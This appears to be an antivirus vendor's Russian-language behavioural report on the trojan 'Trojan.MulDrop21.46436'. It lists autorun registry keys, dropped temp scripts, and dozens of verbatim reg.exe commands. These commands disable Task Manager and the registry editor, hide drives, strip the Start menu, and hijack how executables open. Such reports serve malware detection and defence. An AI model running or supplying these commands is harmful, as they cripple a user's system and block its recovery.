Trojan.MulDrop21.46436

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'RunExplorer32' = '%WINDIR%\user32dll.bat'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)
Редактора реестра (RegEdit)

изменяет следующие системные настройки:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDrives' = '03FFFFFF'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewOnDrive' = '03FFFFFF'

Изменения в файловой системе

Создает следующие файлы

%TEMP%\7493.tmp\7494.tmp\7495.bat
%TEMP%\temp1.vbs
%TEMP%\temp2.vbs
%TEMP%\temp.vbs

Удаляет следующие файлы

%TEMP%\7493.tmp\7494.tmp\7495.bat

Другое

Создает и запускает на исполнение

'<SYSTEM32>\wscript.exe' "%TEMP%\temp.vbs"
'<SYSTEM32>\wscript.exe' "%TEMP%\temp1.vbs"
'<SYSTEM32>\wscript.exe' "%TEMP%\temp2.vbs"
'<SYSTEM32>\cmd.exe' /c "%TEMP%\7493.tmp\7494.tmp\7495.bat <Полный путь к файлу>"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c echo ' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c "%TEMP%\7493.tmp\7494.tmp\7495.bat <Полный путь к файлу>"
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
'<SYSTEM32>\rundll32.exe' user32, SwapMouseButton
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %WINDIR%\user32dll.bat /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-7253...
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c echo